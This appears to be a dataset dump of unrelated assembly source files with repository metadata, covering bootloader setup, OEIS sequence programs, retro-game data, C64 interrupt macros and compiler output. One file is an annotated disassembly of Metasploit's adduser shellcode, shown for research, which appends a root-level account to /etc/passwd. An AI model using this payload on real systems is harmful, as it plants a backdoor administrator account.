kernel jmp KERNEL_CS:ENTRY_POINT .returnAddr: ; We shouldn't return here. .here: jmp .here [BITS 16] ; Kill the floppy motor. ; This code was shamelessly stolen from Linux. Kill_Motor: mov dx, 0x3f2 xor al, al out dx, al ret Init_PIC: ; Initialize master and slave PIC! mov al, ICW1 out 0x20, al ; ICW1 to master call Delay out 0xA0, al ; ICW1 to slave call Delay mov al, ICW2_MASTER out 0x21, al ; ICW2 to master call Delay mov al, ICW2_SLAVE out 0xA1, al ; ICW2 to slave call Delay mov al, ICW3_MASTER out 0x21, al ; ICW3 to master call Delay mov al, ICW3_SLAVE out 0xA1, al ; ICW3 to slave call Delay mov al, ICW4 out 0x21, al ; ICW4 to master call Delay out 0xA1, al ; ICW4 to slave call Delay mov al, 0xff ; mask all ints in slave out 0xA1, al ; OCW1 to slave call Delay mov al, 0xfb ; mask all ints but 2 in master out 0x21, al ; OCW1 to master call Delay ret ; ; Code from http://wiki.osdev.org/How_Do_I_Determine_The_Amount_Of_RAM#Getting_an_E820_Memory_Map ; Adapted for GeekOS by Jeff Hollingsworth (2/4/10) ;; do_e820: xor ebx, ebx ; ebx must be 0 to start xor bp, bp ; keep an entry count in bp mov edx, 0x0534D4150 ; Place "SMAP" into edx mov eax, 0xe820 mov [es:di + 20], dword 1 ; force a valid ACPI 3.X entry mov ecx, 24 ; ask for 24 bytes int 0x15 jc short .failed ; carry set on first call means "unsupported function" mov edx, 0x0534D4150 ; Some BIOSes apparently trash this register? cmp eax, edx ; on success, eax must have been reset to "SMAP" jne short .failed test ebx, ebx ; ebx = 0 implies list is only 1 entry long (worthless) je short .failed jmp short .jmpin .e820lp: mov eax, 0xe820 ; eax, ecx get trashed on every int 0x15 call mov [es:di + 20], dword 1 ; force a valid ACPI 3.X entry mov ecx, 24 ; ask for 24 bytes again int 0x15 jc short .e820f ; carry set means "end of list already reached" mov edx, 0x0534D4150 ; repair potentially trashed register .jmpin: jcxz .skipent ; skip any 0 length entries cmp cl, 20 ; got a 24 byte ACPI 3.X response? jbe short .notext test byte [es:di + 20], 1 ; if so: is the "ignore this data" bit clear? je short .skipent .notext: mov ecx, [es:di + 8] ; get lower dword of memory region length test ecx, ecx ; is the qword == 0? jne short .goodent mov ecx, [es:di + 12] ; get upper dword of memory region length jecxz .skipent ; if length qword is 0, skip entry .goodent: inc bp ; got a good entry: ++count, move to next storage spot add di, 24 .skipent: test ebx, ebx ; if ebx resets to 0, list is complete jne short .e820lp .e820f: mov [mmap_ent], bp ; store the entry count ret ; test opcode cleared carry flag .failed: stc ; "function unsupported" error exit ret mmap_ent: dw 0 ; Linux uses this code. ; The idea is that some systems issue port I/O instructions ; faster than the device hardware can deal with them. Delay: jmp .done .done: ret ; Enable the A20 address line, so we can correctly address ; memory above 1MB. Enable_A20: mov al, 0xD1 out 0x64, al call Delay mov al, 0xDF out 0x60, al call Delay ret ; ---------------------------------------------------------------------- ; Setup data ; ---------------------------------------------------------------------- mem_size_kbytes: dw 0 ; ---------------------------------------------------------------------- ; The GDT. Creates flat 32-bit address space for the kernel ; code, data, and stack. Note that this GDT is just used ; to create an environment where we can start running 32 bit ; code. The kernel will create and manage its own GDT. ; ---------------------------------------------------------------------- ; GDT initialization stuff NUM_GDT_ENTRIES equ 3 ; number of entries in GDT GDT_ENTRY_SZ equ 8 ; size of a single GDT entry align 8, db 0 GDT: ; Descriptor 0 is not used dw 0 dw 0 dw 0 dw 0 ; Descriptor 1: kernel code segment dw 0xFFFF ; bytes 0 and 1 of segment size dw 0x0000 ; bytes 0 and 1 of segment base address db 0x00 ; byte 2 of segment base address db 0x9A ; present, DPL=0, non-system, code, non-conforming, ; readable, not accessed db 0xCF ; granularity=page, 32 bit code, upper nibble of size db 0x00 ; byte 3 of segment base address ; Descriptor 2: kernel data and stack segment ; NOTE: what Intel calls an "expand-up" segment ; actually means that the stack will grow DOWN, ; towards lower memory. So, we can use this descriptor ; for both data and stack references. dw 0xFFFF ; bytes 0 and 1 of segment size dw 0x0000 ; bytes 0 and 1 of segment base address db 0x00 ; byte 2 of segment base address db 0x92 ; present, DPL=0, non-system, data, expand-up, ; writable, not accessed db 0xCF ; granularity=page, big, upper nibble of size db 0x00 ; byte 3 of segment base address GDT_Pointer: dw NUM_GDT_ENTRIES*GDT_ENTRY_SZ ; limit dd (SETUPSEG<<4) + GDT ; base address IDT_Pointer: dw 0 dd 00 EndSetup: FillSector times (508 - (EndSetup - BeginSetup)) db 0 bootDrive: dw 0 dw 0 ;; ;; start up a seconday processor ;; This code needs to start on a 4KB page boundry. ;; align 4096, db 0 [BITS 16] start_secondary_cpu: mov ax, SETUPSEG mov ds, ax ; Block interrupts, since we can't meaningfully handle them yet ; and we no longer need BIOS services. cli mov sp,TRAMPOLINE_STACK ; Set up IDT and GDT registers lidt [IDT_Pointer] lgdt [GDT_Pointer] ; Initialize the interrupt controllers, and enable the ; A20 address line ;; call Init_PIC ;; call Enable_A20 ; Switch to protected mode! mov ax, 0x01 lmsw ax ; Jump to 32 bit code. jmp dword KERNEL_CS:(SETUPSEG << 4) + setup_2nd_32 [BITS 32] setup_2nd_32: ; set up data segment registers mov ax, KERNEL_DS mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ; Create the stack for the initial kernel thread. ;;mov esp, [endSecondStack] ;;mov esp, TRAMPOLINE_STACK ;; secondary stack is the page we allocated, stacks grow down so move the stack pointer to the end of the page mov esp, dword [SECONDARY_STACK] add esp, 4096 push esp ; Far jump into kernel push dword (SETUPSEG<<4)+.returnAddr2 jmp KERNEL_CS:SECONDARY_ENTRY_POINT .returnAddr2: .there: jmp .there ;; ;; XXXX This depends on the above function being less than 4KB since we use a fixed offset to this next location ;; align 4096, db 0 endSecondStack: dw 0 align 4096, db 0 TRAMPOLINE_STACK:
25.516971
112
0.650875
16551b79bd2f75cc40c88f658d15c6eee1fdf588
216
asm
Assembly
programs/oeis/017/A017524.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017524.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017524.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017524: (12n)^4. ; 0,20736,331776,1679616,5308416,12960000,26873856,49787136,84934656,136048896,207360000,303595776,429981696,592240896,796594176,1049760000,1358954496,1731891456,2176782336 pow $0,4 mul $0,20736
36
172
0.819444
d5e1dcf64645a5853a5bb62c7e69c9d72937b0f9
656
asm
Assembly
oeis/132/A132650.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/132/A132650.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/132/A132650.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A132650: Number of divisors of n, d(n) raised to power d(n). ; 1,4,4,27,4,256,4,256,27,256,4,46656,4,256,256,3125,4,46656,4,46656,256,256,4,16777216,27,256,256,46656,4,16777216,4,46656,256,256,256,387420489,4,256,256,16777216,4,16777216,4,46656,46656,256,4,10000000000,27,46656,256,46656,4,16777216,256,16777216,256,256,4,8916100448256,4,256,46656,823543,256,16777216,4,46656,256,16777216,4,8916100448256,4,256,46656,46656,256,16777216,4,10000000000,3125,256,4,8916100448256,256,256,256,16777216,4,8916100448256,256,46656,256,256,256,8916100448256,4,46656,46656 seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. pow $0,$0
109.333333
500
0.76372
b20a3d8cda257522d8e6374b640d2ee753b54625
158
asm
Assembly
data/pokemon/dex_entries/aerodactyl.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/dex_entries/aerodactyl.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/dex_entries/aerodactyl.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
db "FOSSIL@" ; species name db "In prehistoric" next "times, this" next "#MON flew" page "freely and" next "fearlessly through" next "the skies.@"
15.8
28
0.658228
b974e7d0ef503afe0d21045da135b43142d115c6
245
asm
Assembly
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_next_fastcall.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_next_fastcall.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_next_fastcall.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void *p_forward_list_next_fastcall(void *item) SECTION code_adt_p_forward_list PUBLIC _p_forward_list_next_fastcall defc _p_forward_list_next_fastcall = asm_p_forward_list_next INCLUDE "adt/p_forward_list/z80/asm_p_forward_list_next.asm"
22.272727
60
0.873469
3ee3a52bec2fc338453117a4e6ac49fe42ac40dc
3,134
asm
Assembly
irq/macros.asm
FolkertVanVerseveld/c64
a244b976cc650a86566b88066c0f7cb3a3915f09
[ "MIT" ]
1
2018-12-26T22:55:37.000Z
2018-12-26T22:55:37.000Z
irq/macros.asm
FolkertVanVerseveld/c64
a244b976cc650a86566b88066c0f7cb3a3915f09
[ "MIT" ]
null
null
null
irq/macros.asm
FolkertVanVerseveld/c64
a244b976cc650a86566b88066c0f7cb3a3915f09
[ "MIT" ]
null
null
null
; Assembler: ACME ; Handling IRQs macros ; source: http://codebase64.org/doku.php?id=base:handling_irqs_with_some_simple_macros ;some macros to use for easy raster handling, by rambones !to "macros.prg" !zone mainprogram *=$1000 ;-------------- MACROS ---------------- ;;!macro INIT .inadd, .pladd{ ; (code here) ;} !macro ENTER{ pha tya pha txa pha } !macro EXIT .intvector, .rasterline{ LDX #>.intvector LDY #<.intvector STX $FFFF STY $FFFE LDA #.rasterline STA $D012 SEC ROL $D019 JMP _quitirq } !macro POKE .value, .address{ LDA .value STA .address } !macro XDEL .pausex{ LDX #.pausex _xxpause DEX BNE _xxpause } !macro YDEL .pausey{ LDY #.pausey _pause2 DEY BNE _pause2 } ;------------------------------------------------------------------------------- ; start of program.. JMP START ; utilities and pointers.. _quitirq pla tax pla tay pla _freeze rti _spritepoint !BYTE 200,201,202,203,204,205,206,207 _xsprite !BYTE 100,120,140,160,180,200,220,240 _ysprite !BYTE 100,100,100,100,100,100,100,100 SCREEN=$0400 ZP=$2B ;---------- MAIN START ----------- START jsr _clearscreen jsr _setuplogo jsr _setlogocolor jsr SSINIT ;charscroll jsr _clearline SEI LDA #$35 STA $01 LDX #>INT1 LDY #<INT1 STX $FFFF STY $FFFE ldx #>_freeze ldy #<_freeze stx $FFFA sty $FFFB LDX #0 STX $DC0E INX STX $D01A LDA #$1B STA $D011 LDA #LINE1 STA $D012 CLI LOCK JMP LOCK ;-------------------------------------- LINE1=$32 INT1 +ENTER ldx #7 .time5 dex bne .time5 lda #1 sta $d020 lda #0 sta $d021 JSR SSSET2 ;stop charscroll ;set logofont $2800 LDA $D018 AND #240 ORA #10 STA $D018 ;set multicolors on charlogo lda #2 sta $d022 lda #4 sta $d023 ;set multi color text mode lda $d016 ora #16 sta $d016 ;enable extended text background color ;lda $d011 ;ora #64 ;sta $d011 +EXIT INT2,LINE2 ;-------------------------------------- ;set sprites here LINE2=$4a INT2 +ENTER ldx #7 .time1 dex bne .time1 JSR SSSET2 ;stop charscroll lda #5 sta $d020 sta $d021 lda #255 sta $d015 lda #1 sta $d027 sta $d028 sta $d029 sta $d02a sta $d02b sta $d02c sta $d02d sta $d02e ;ok ldx #0 .spri2 lda _spritepoint,x sta $07f8,x inx cpx #7 bne .spri2 lda #100 sta $d000 lda #100 sta $d001 ; ldx #0 ;.spri4 lda _ysprite,x ; sta $d001,x ; inx ; inx ; cpx #7 ; bne .spri4 +EXIT INT3,LINE3 ;-------------------------------------- LINE3=$c8 INT3 +ENTER ldx #7 .time2 dex bne .time2 lda #1 sta $d020 lda #0 sta $d021 JSR SSSET2 ;stop charscroll JSR SSCALC ;calc charscroll +EXIT INT4,LINE4 ;-------------------------------------- LINE4=$f1 INT4 +ENTER ldx #7 .time7 dex bne .time7 lda #2 sta $d020 lda #6 sta $d021 lda #22 sta $d018 ;set single color text mode lda $d016 and #239 sta $d016 jsr SSSET1 ;scroll char +EXIT INT1,LINE1 ;-------------------------------------- _clearscreen lda #$20 ldx #0 .l sta $0400, x sta $0500, x sta $0600, x sta $0700, x inx bne .l ;here go all the subroutines... _setuplogo _setlogocolor _clearline SSINIT SSSET1 SSSET2 SSCALC rts !endoffile
11.113475
86
0.602425
687bb13b0344207e30916f7778ba06e98c212f5b
1,701
nasm
Assembly
msf_adduser.nasm
Re4son/slae-assignment6
2093fac44a6f35a782731c98577dd84e2d852fc0
[ "Unlicense" ]
1
2021-07-06T20:05:06.000Z
2021-07-06T20:05:06.000Z
msf_adduser.nasm
Re4son/slae-assignment6
2093fac44a6f35a782731c98577dd84e2d852fc0
[ "Unlicense" ]
null
null
null
msf_adduser.nasm
Re4son/slae-assignment6
2093fac44a6f35a782731c98577dd84e2d852fc0
[ "Unlicense" ]
1
2018-09-27T13:32:05.000Z
2018-09-27T13:32:05.000Z
; Filename: msf-adduser.nasm ; Author: Metasploit ; Analysed by Re4son <re4son [at] whitedome.com.au> ; Purpose: Disassembly of msf linux/adduser ; for research purpose global _start section .text _start: ; setreuid() sets real and effective user IDs of the calling process ; int setreuid(uid_t ruid, uid_t euid) xor ecx,ecx ; zero out ecx mov ebx,ecx ; and ebx push 0x46 ; put sys_setreuid pop eax ; into eax int 0x80 ; and invoke system call ; open, create - open and possibly create a file or device ; int open(const char *pathname, int flags) push 0x5 ; put sys_open pop eax ; into eax xor ecx,ecx ; zero out ecx push ecx ; push null terminator onto stack push dword 0x64777373 ; push sswd push dword 0x61702f2f ; push //pa push dword 0x6374652f ; push /etc mov ebx,esp ; store pointer to file name in ebx inc ecx ; set O_WRONLY flag (01) mov ch,0x4 ; set O_APPEND flag (02000) int 0x80 ; and invoke system call ; write - write to a file descriptor ; ssize_t write(int fd, const void *buf, size_t count) xchg ebx,eax ; store file descriptor in ebx call adduser ; call/pop trick to get our db address db "re4son:Az/dIsj4p4IRc:0:0::/:/bin/sh" adduser: pop ecx ; put the pointer to our string in ecx mov edx, [ecx-0x4] ; put the size in edx push 0x4 ; put sys_write pop eax ; into eax int 0x80 ; and invoke system call ; exit - terminate the calling process ; void _exit(int status) push 0x1 ; put sys_exit pop eax ; in eax int 0x80 ; so long and thanks for all the fish
30.375
70
0.643739
22f0cd99407609f097af795cd6737ef7d9b0388a
9,097
asm
Assembly
testfloat.asm
bulk88/celib
14482186e9276d4e35ff785177293047300fd519
[ "BSD-4-Clause-UC" ]
1
2021-11-28T15:16:18.000Z
2021-11-28T15:16:18.000Z
testfloat.asm
bulk88/celib
14482186e9276d4e35ff785177293047300fd519
[ "BSD-4-Clause-UC" ]
null
null
null
testfloat.asm
bulk88/celib
14482186e9276d4e35ff785177293047300fd519
[ "BSD-4-Clause-UC" ]
2
2016-06-22T08:29:18.000Z
2021-11-28T15:16:45.000Z
.verstamp 3 10 .option pic0 .file 44 "testfloat.c" .data .align 3 .align 0 $$2: .ascii "w\X00i\X00n\X00s\X00o\X00c\X00k\X00.\X00d\X00l\X00l\X00\X00\X00" .data .align 3 .align 0 $$3: .ascii "\\X00b\X00i\X00n\X00\\X00x\X001\X00.\X00t\X00x\X00t\X00\X00\X00" .data .align 3 .align 0 $$4: .ascii "O\X00p\X00e\X00n\X00\X00\X00" .data .align 3 .align 0 $$5: .ascii "O\X00p\X00e\X00n\X00\X00\X00" .data .align 3 .align 0 $$6: .ascii "Z\X00=\X00=\X000\X00\X00\X00" .data .align 3 .align 0 $$7: .ascii "Z\X00=\X00=\X000\X00\X00\X00" .data .align 2 .align 0 $$8: .ascii "%\X00f\X00\X00\X00" .data .drectve .align 2 .align 0 __drectve: .ascii "-defaultlib:MSVCRT -defaultlib:coredll.lib " .extern __imp_CreateFileW 4 .extern __imp_swprintf 4 .extern __imp_GetProcAddressW 4 .extern __imp_ReadFile 4 .extern __imp_GetFileSize 4 .extern __imp_malloc 4 .extern __imp_CloseHandle 4 .text .align 2 .file 44 "testfloat.c" .globl testexports .loc 44 12 #line 12 "testfloat.c" { .ent testexports 2 testexports: .option O0 subu $29, 464 sw $31, 36($29) .mask 0x80000000, -428 .frame $29, 464, $31 .prologue 0 .bgnb 0 .loc 44 13 #line 13 "testfloat.c" HANDLE hFile; .loc 44 14 #line 14 "testfloat.c" HANDLE hMod; .loc 44 15 #line 15 "testfloat.c" FARPROC proc; .loc 44 16 #line 16 "testfloat.c" char *buf; .loc 44 17 #line 17 "testfloat.c" char *p; .loc 44 18 #line 18 "testfloat.c" DWORD size; .loc 44 19 #line 19 "testfloat.c" DWORD dwRead; .loc 44 20 #line 20 "testfloat.c" char name[126]; .loc 44 21 #line 21 "testfloat.c" WCHAR wname[126]; .loc 44 22 #line 22 "testfloat.c" char *s, *d; .loc 44 25 #line 23 "testfloat.c" #line 24 "testfloat.c" //hMod = LoadLibraryW(L"coredll.dll"); #line 25 "testfloat.c" hMod = LoadLibraryW(L"winsock.dll"); la $4, $$2 .livereg 0x0800000E,0x00000000 jal LoadLibraryW sw $2, 460($29) .loc 44 27 #line 26 "testfloat.c" #line 27 "testfloat.c" if((hFile = CreateFileW(L"\\bin\\x1.txt", GENERIC_READ, 0, NULL, .loc 44 28 #line 28 "testfloat.c" OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == NULL) la $4, $$3 li $5, -2147483648 move $6, $0 move $7, $0 li $14, 3 sw $14, 16($29) li $15, 128 sw $15, 20($29) sw $0, 24($29) .livereg 0x0F00000E,0x00000000 lw $24, __imp_CreateFileW jal $24 sw $2, 456($29) lw $25, 456($29) bne $25, 0, $32 .loc 44 29 #line 29 "testfloat.c" { .loc 44 30 #line 30 "testfloat.c" MessageBoxW(NULL, L"Open", L"Open", MB_OK); move $4, $0 la $5, $$5 la $6, $$4 move $7, $0 .livereg 0x0F00000E,0x00000000 jal MessageBoxW .loc 44 31 #line 31 "testfloat.c" return FALSE; move $2, $0 b $41 .loc 44 32 #line 32 "testfloat.c" } .loc 44 34 #line 33 "testfloat.c" #line 34 "testfloat.c" size = GetFileSize(hFile, NULL); $32: lw $4, 456($29) move $5, $0 .livereg 0x0C00000E,0x00000000 lw $8, __imp_GetFileSize jal $8 sw $2, 452($29) .loc 44 35 #line 35 "testfloat.c" buf = malloc(size + 1); lw $4, 452($29) addu $4, $4, 1 .livereg 0x0800000E,0x00000000 lw $9, __imp_malloc jal $9 sw $2, 448($29) .loc 44 36 #line 36 "testfloat.c" ReadFile(hFile, buf, size, &dwRead, NULL); lw $4, 456($29) lw $5, 448($29) lw $6, 452($29) addu $7, $29, 444 sw $0, 16($29) .livereg 0x0F00000E,0x00000000 lw $10, __imp_ReadFile jal $10 .loc 44 37 #line 37 "testfloat.c" CloseHandle(hFile); lw $4, 456($29) .livereg 0x0800000E,0x00000000 lw $11, __imp_CloseHandle jal $11 .loc 44 38 #line 38 "testfloat.c" buf[size] = 0; lw $12, 448($29) lw $13, 452($29) addu $14, $12, $13 sb $0, 0($14) .loc 44 40 #line 39 "testfloat.c" #line 40 "testfloat.c" for(s = buf, d = name; *s;) lw $15, 448($29) sw $15, 440($29) addu $24, $29, 304 sw $24, 436($29) lb $25, 0($15) beq $25, 0, $40 $33: $34: .loc 44 41 #line 41 "testfloat.c" { .loc 44 42 #line 42 "testfloat.c" if(*s == '\n') lw $8, 440($29) lb $9, 0($8) bne $9, 10, $37 .loc 44 43 #line 43 "testfloat.c" { .loc 44 44 #line 44 "testfloat.c" if(d[-1] == '\r') lw $10, 436($29) lb $11, -1($10) bne $11, 13, $35 .loc 44 45 #line 45 "testfloat.c" d[-1] = 0; lw $12, 436($29) sb $0, -1($12) .loc 44 46 #line 46 "testfloat.c" *d = 0; $35: lw $13, 436($29) sb $0, 0($13) .loc 44 48 #line 47 "testfloat.c" #line 48 "testfloat.c" MultiByteToWideChar(CP_ACP, 0, name, -1, wname, sizeof(wname)/2); move $4, $0 move $5, $0 addu $6, $29, 304 li $7, -1 addu $14, $29, 48 sw $14, 16($29) li $24, 126 sw $24, 20($29) .livereg 0x0F00000E,0x00000000 jal MultiByteToWideChar .loc 44 49 #line 49 "testfloat.c" proc = GetProcAddressW(hMod, wname); lw $4, 460($29) addu $5, $29, 48 .livereg 0x0C00000E,0x00000000 lw $15, __imp_GetProcAddressW jal $15 sw $2, 44($29) .loc 44 50 #line 50 "testfloat.c" if(proc == NULL) lw $25, 44($29) bne $25, 0, $36 .loc 44 51 #line 51 "testfloat.c" { .loc 44 52 #line 52 "testfloat.c" MessageBoxW(NULL, wname, wname, MB_OK); move $4, $0 addu $8, $29, 48 move $5, $8 move $6, $8 move $7, $0 .livereg 0x0F00000E,0x00000000 jal MessageBoxW .loc 44 53 #line 53 "testfloat.c" return FALSE; move $2, $0 b $41 .loc 44 54 #line 54 "testfloat.c" } .loc 44 55 #line 55 "testfloat.c" d = name; $36: addu $9, $29, 304 sw $9, 436($29) .loc 44 56 #line 56 "testfloat.c" s++; lw $10, 440($29) addu $11, $10, 1 sw $11, 440($29) .loc 44 57 #line 57 "testfloat.c" } .loc 44 58 #line 58 "testfloat.c" else b $38 $37: .loc 44 59 #line 59 "testfloat.c" { .loc 44 60 #line 60 "testfloat.c" *d++ = *s++; lw $12, 440($29) lb $13, 0($12) lw $14, 436($29) sb $13, 0($14) lw $24, 436($29) addu $15, $24, 1 sw $15, 436($29) lw $25, 440($29) addu $8, $25, 1 sw $8, 440($29) .loc 44 61 #line 61 "testfloat.c" } $38: .loc 44 62 #line 62 "testfloat.c" } lw $9, 440($29) lb $10, 0($9) bne $10, 0, $34 $39: $40: .loc 44 64 #line 63 "testfloat.c" #line 64 "testfloat.c" return TRUE; li $2, 1 b $41 .loc 44 65 #line 65 "testfloat.c" } $41: .endb 0 b $42 $42: .livereg 0x2000FF0E,0x00000FFF lw $31, 36($29) .set noreorder j $31 addu $29, 464 .set reorder .end .text .align 2 .file 44 "testfloat.c" .globl wWinMain .loc 44 69 #line 66 "testfloat.c" #line 67 "testfloat.c" int #line 68 "testfloat.c" wWinMain() #line 69 "testfloat.c" { .ent wWinMain 2 wWinMain: .option O0 subu $29, 312 sw $31, 20($29) .mask 0x80000000, -292 .frame $29, 312, $31 .prologue 0 .bgnb 0 .loc 44 70 #line 70 "testfloat.c" double x, y, z; .loc 44 71 #line 71 "testfloat.c" WCHAR buf[126]; .loc 44 72 #line 72 "testfloat.c" HMODULE hMod; .loc 44 74 #line 73 "testfloat.c" #line 74 "testfloat.c" testexports(); .livereg 0x0000000E,0x00000000 jal testexports .loc 44 75 #line 75 "testfloat.c" return 0; move $2, $0 b $44 .loc 44 82 #line 82 "testfloat.c" x = 10.0; li $14, 0 li $15, 1076101120 sw $14, 304($29) sw $15, 308($29) .loc 44 83 #line 83 "testfloat.c" y = 3.0; li $24, 0 li $25, 1074266112 sw $24, 296($29) sw $25, 300($29) .loc 44 86 #line 84 "testfloat.c" #line 85 "testfloat.c" // mul works with FPE #line 86 "testfloat.c" z = x * y; lw $4, 304($29) lw $5, 308($29) lw $6, 296($29) lw $7, 300($29) .livereg 0x0F00000E,0x00000000 jal __dpmul sw $2, 288($29) sw $3, 292($29) .loc 44 89 #line 87 "testfloat.c" #line 88 "testfloat.c" // div works with FPE... #line 89 "testfloat.c" z = x / y; lw $4, 304($29) lw $5, 308($29) lw $6, 296($29) lw $7, 300($29) .livereg 0x0F00000E,0x00000000 jal __dpdiv sw $2, 288($29) sw $3, 292($29) .loc 44 96 #line 96 "testfloat.c" if(z == 0.0) lw $4, 288($29) lw $5, 292($29) li $6, 0 li $7, 0 .livereg 0x0F00000E,0x00000000 jal __dpcmp sw $2, 28($29) lw $8, 28($29) bne $8, 0, $43 .loc 44 97 #line 97 "testfloat.c" MessageBoxW(NULL, L"Z==0", L"Z==0", MB_OK); move $4, $0 la $5, $$7 la $6, $$6 move $7, $0 .livereg 0x0F00000E,0x00000000 jal MessageBoxW .loc 44 118 #line 118 "testfloat.c" swprintf(buf, L"%f", z); $43: addu $4, $29, 32 la $5, $$8 lw $6, 288($29) lw $7, 292($29) .livereg 0x0F00000E,0x00000000 lw $9, __imp_swprintf jal $9 .loc 44 120 #line 119 "testfloat.c" #line 120 "testfloat.c" MessageBoxW(NULL, buf, buf, MB_OK); move $4, $0 addu $10, $29, 32 move $5, $10 move $6, $10 move $7, $0 .livereg 0x0F00000E,0x00000000 jal MessageBoxW .loc 44 122 #line 121 "testfloat.c" #line 122 "testfloat.c" return 0; move $2, $0 b $44 .loc 44 123 #line 123 "testfloat.c" } $44: .endb 0 b $45 $45: .livereg 0x2000FF0E,0x00000FFF lw $31, 20($29) .set noreorder j $31 addu $29, 312 .set reorder .end
21.155814
92
0.58217
640b33fdce5d3d4a41ca816ee70560590a2efc7f
323
asm
Assembly
Src/Ant8/Tests/aa8/basic/02_add_4.asm
geoffthorpe/ant-architecture
d85952e3050c352d5d715d9749171a335e6768f7
[ "BSD-3-Clause" ]
null
null
null
Src/Ant8/Tests/aa8/basic/02_add_4.asm
geoffthorpe/ant-architecture
d85952e3050c352d5d715d9749171a335e6768f7
[ "BSD-3-Clause" ]
null
null
null
Src/Ant8/Tests/aa8/basic/02_add_4.asm
geoffthorpe/ant-architecture
d85952e3050c352d5d715d9749171a335e6768f7
[ "BSD-3-Clause" ]
1
2020-07-15T04:09:05.000Z
2020-07-15T04:09:05.000Z
# $Id: 02_add_4.asm,v 1.3 2001/03/22 00:38:59 ellard Exp $ # # Copyright 1999-2001 by the President and Fellows of Harvard College. # See LICENSE.txt for license information. # #@ tests to make sure that des registers don't clobber src. # OK lc r2, 100 lc r3, 100 add r2, r2, r3 add r4, r1, r0 add r5, r1, r2 hlt
17.944444
70
0.684211
ab9762a72cc289c5217eb47bba8adccf25b0c224
871
asm
Assembly
soft/date.asm
devxpy/masm32-programs
c0f824584ca05de32bc2f38a5a3241f08333e469
[ "Xnet", "X11" ]
null
null
null
soft/date.asm
devxpy/masm32-programs
c0f824584ca05de32bc2f38a5a3241f08333e469
[ "Xnet", "X11" ]
1
2019-05-30T06:00:15.000Z
2019-05-30T08:02:14.000Z
soft/date.asm
devxpy/masm32-programs
c0f824584ca05de32bc2f38a5a3241f08333e469
[ "Xnet", "X11" ]
null
null
null
dos_call macro val mov ah, val int 21h endm print macro msg lea dx, msg dos_call 09h endm printc macro char mov dl, char dos_call 02h endm print_ascii macro aam mov bx, ax add bx, "00" mov dl, bh dos_call 02h mov dl, bl dos_call 02h endm exit macro dos_call 4ch endm .model small .stack 64h .data msg db "the current date & time is: $" .code mov ax, @data mov ds, ax print msg ;hour dos_call 2ch mov al, ch print_ascii printc ':' ;minute dos_call 2ch mov al, cl print_ascii printc ' ' printc ' ' ;day dos_call 2ah mov al, dh print_ascii printc '/' ;month dos_call 2ah mov al, dl print_ascii printc '/' ;year dos_call 2ah add cx, 0c30h mov ax, cx print_ascii exit end
11.166667
42
0.568312
f1c9595c5a2d88cec0422b5922e914e83e5f2afe
148
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_enmy3.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_enmy3.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_enmy3.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: zel_enmy3.asm Type: file Size: 334969 Last-Modified: '2016-05-13T04:36:32Z' SHA-1: 03E16D840FA79B53D57770236DA6E734C06577EE Description: null
21.142857
47
0.817568
f9d33efd47d9d7b259fba5050b0a8ab304e90416
3,989
asm
Assembly
bddisasm_test/avx512/avx512fma_64.asm
CrackerCat/bddisasm
5a617986b7372dc6fe9ba63f67553c5ee2728d09
[ "Apache-2.0" ]
675
2020-07-09T12:57:49.000Z
2022-03-26T15:03:53.000Z
bddisasm_test/avx512/avx512fma_64.asm
FDlucifer/bddisasm
76d92e73c29eaaf175f2c77465b1c6eacaef6f3c
[ "Apache-2.0" ]
41
2020-07-22T07:15:07.000Z
2022-03-23T08:34:28.000Z
bddisasm_test/avx512/avx512fma_64.asm
FDlucifer/bddisasm
